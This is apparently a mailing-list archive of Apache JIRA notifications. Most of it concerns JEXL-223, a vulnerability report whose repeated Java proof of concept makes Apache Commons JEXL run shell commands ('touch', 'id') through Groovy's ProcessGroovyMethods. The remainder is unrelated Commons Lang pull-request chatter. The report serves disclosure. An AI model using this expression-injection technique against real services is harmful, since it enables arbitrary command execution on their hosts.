ProcessGroovyMethods n = new ProcessGroovyMethods();
System.out.println(n.execute("id").toString());
String jexlExp =
"new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
JexlExpression e = jexl.createExpression( jexlExp );
try {
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("foo", jexlExp );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
System.out.println(o);
}
}
{code}
> Apache Commons JEXL Expression Execute Command Vulnerabilitity
> --
>
> Key: JEXL-223
> URL: https://issues.apache.org/jira/browse/JEXL-223
> Project: Commons JEXL
> Issue Type: Bug
>Reporter: cnbird
>Priority: Critical
>
> 0x01 Summary
> Apache Commons JEXL Expression Execute Command Vulnerabilitity throught
> groovy.
> 0x02 POC
> POC Report to Apache Security Email Address.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
[
https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978236#comment-15978236
]
Bruno P. Kinoshita commented on JEXL-223:
-
Edited to add code format.
Also, see http://www.apache.org/security/. For Security/Vulnerabilities issues,
it is better to follow the guidelines provided by the ASF Security Team when
disclosing issues like this.
> Apache Commons JEXL Expression Execute Command Vulnerabilitity
> --
>
> Key: JEXL-223
> URL: https://issues.apache.org/jira/browse/JEXL-223
> Project: Commons JEXL
> Issue Type: Bug
>Reporter: cnbird
>Priority: Critical
>
> 0x01 Summary
> Apache Commons JEXL Expression Execute Command Vulnerabilitity throught
> groovy.
> 0x02 POC
> {code}
> import java.io.IOException;
> import java.util.List;
> import org.apache.commons.jexl3.JexlBuilder;
> import org.apache.commons.jexl3.JexlContext;
> import org.apache.commons.jexl3.JexlEngine;
> import org.apache.commons.jexl3.JexlExpression;
> import org.apache.commons.jexl3.MapContext;
> import org.codehaus.groovy.runtime.ProcessGroovyMethods;
> public class elExp {
> public static void main(String args[]) throws IOException {
> // Create or retrieve an engine
> JexlEngine jexl = new JexlBuilder().create();
> // Create an expression
> //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
> ProcessGroovyMethods n = new ProcessGroovyMethods();
> System.out.println(n.execute("id").toString());
> String jexlExp =
> "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
> /tmp/jexlExp0day\")";
> JexlExpression e = jexl.createExpression( jexlExp );
> try {
>
> Process process = new ProcessBuilder("id").start();
> } catch (IOException e1) {
> // TODO Auto-generated catch block
> e1.printStackTrace();
> }
> // Create a context and add data
> JexlContext jc = new MapContext();
> jc.set("foo", jexlExp );
>
> // Now evaluate the expression, getting the result
> Object o = e.evaluate(jc);
> System.out.println(o);
> }
> }
> {code}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Updated] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
[
https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Bruno P. Kinoshita updated JEXL-223:
Description:
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
{code}
import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
ProcessGroovyMethods n = new ProcessGroovyMethods();
System.out.println(n.execute("id").toString());
String jexlExp =
"new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
JexlExpression e = jexl.createExpression( jexlExp );
try {
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("foo", jexlExp );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
System.out.println(o);
}
}
{code}
was:
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
ProcessGroovyMethods n = new ProcessGroovyMethods();
System.out.println(n.execute("id").toString());
String jexlExp =
"new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
JexlExpression e = jexl.createExpression( jexlExp );
try {
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("foo", jexlExp );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
System.out.println(o);
}
}
> Apache Commons JEXL Expression Execute Command Vulnerabilitity
> --
>
> Key: JEXL-223
> URL: https://issues.apache.org/jira/browse/JEXL-223
> Project: Commons JEXL
> Issue Type: Bug
>Reporter: cnbird
>Priority: Critical
>
> 0x01 Summary
> Apache Commons JEXL Expression Execute Command Vulnerabilitity throught
> groovy.
> 0x02 POC
> {code}
> import java.io.IOException;
> import java.util.List;
> import org.apache.commons.jexl3.JexlBuilder;
> import org.apache.commons.jexl3.JexlContext;
> import org.apache.commons.jexl3.JexlEngine;
> import org.apache.commons.jexl3.JexlExpression;
> import org.apache.commons.jexl3.MapContext;
> import org.codehaus.groovy.runtime.ProcessGroovyMethods;
> public class elExp {
> public static void main(String args[]) throws IOException {
> // Create or retrieve an engine
> JexlEngine jexl = new JexlBuilder().create();
> // Create an expression
> //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
> ProcessGroovyMethods n = new ProcessGroovyMethods();
> System.out.println(n.execute("id").toString());
> String jexlExp =
> "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
> /tmp/jexlExp0day\")";
> JexlExpression e = jexl.createExpression( jexlExp );
>
[jira] [Created] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
cnbird created JEXL-223:
---
Summary: Apache Commons JEXL Expression Execute Command
Vulnerabilitity
Key: JEXL-223
URL: https://issues.apache.org/jira/browse/JEXL-223
Project: Commons JEXL
Issue Type: Bug
Reporter: cnbird
Priority: Critical
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
ProcessGroovyMethods n = new ProcessGroovyMethods();
System.out.println(n.execute("id").toString());
String jexlExp =
"new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
JexlExpression e = jexl.createExpression( jexlExp );
try {
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("foo", jexlExp );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
System.out.println(o);
}
}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978216#comment-15978216 ] ASF GitHub Bot commented on LANG-1317: -- Github user coveralls commented on the issue: https://github.com/apache/commons-lang/pull/261 [](https://coveralls.io/builds/11177727) Coverage increased (+0.09%) to 94.693% when pulling **6aee4203260f93cf4511779e8078952e90d6bb6f on yasserzamani:LANG-1317** into **4a300fee2ef1c03902d0fb25ceb02aa01d0fab46 on apache:master**. > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978215#comment-15978215 ] ASF GitHub Bot commented on LANG-1317: -- Github user coveralls commented on the issue: https://github.com/apache/commons-lang/pull/261 [](https://coveralls.io/builds/11177727) Coverage increased (+0.09%) to 94.693% when pulling **6aee4203260f93cf4511779e8078952e90d6bb6f on yasserzamani:LANG-1317** into **4a300fee2ef1c03902d0fb25ceb02aa01d0fab46 on apache:master**. > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[GitHub] commons-lang issue #261: LANG-1317: Add findAnnotation and findMethodsWithAn...
Github user coveralls commented on the issue: https://github.com/apache/commons-lang/pull/261 [](https://coveralls.io/builds/11177727) Coverage increased (+0.09%) to 94.693% when pulling **6aee4203260f93cf4511779e8078952e90d6bb6f on yasserzamani:LANG-1317** into **4a300fee2ef1c03902d0fb25ceb02aa01d0fab46 on apache:master**. --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[GitHub] commons-lang issue #261: LANG-1317: Add findAnnotation and findMethodsWithAn...
Github user coveralls commented on the issue: https://github.com/apache/commons-lang/pull/261 [](https://coveralls.io/builds/11177727) Coverage increased (+0.09%) to 94.693% when pulling **6aee4203260f93cf4511779e8078952e90d6bb6f on yasserzamani:LANG-1317** into **4a300fee2ef1c03902d0fb25ceb02aa01d0fab46 on apache:master**. --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[GitHub] commons-lang issue #261: LANG-1317: Add findAnnotation and findMethodsWithAn...
Github user yasserzamani commented on the issue: https://github.com/apache/commons-lang/pull/261 @PascalSchumacher , sorry for my bad decisions. Again I thought I should keep it public to provide same functionality for someone who needs in future :) Now, I removed it to MethodUtils as a private method. I also added @since tag and mentioned interfaces in @return java doc. Thanks a lot! --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978214#comment-15978214 ] ASF GitHub Bot commented on LANG-1317: -- Github user yasserzamani commented on the issue: https://github.com/apache/commons-lang/pull/261 @PascalSchumacher , sorry for my bad decisions. Again I thought I should keep it public to provide same functionality for someone who needs in future :) Now, I removed it to MethodUtils as a private method. I also added @since tag and mentioned interfaces in @return java doc. Thanks a lot! > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
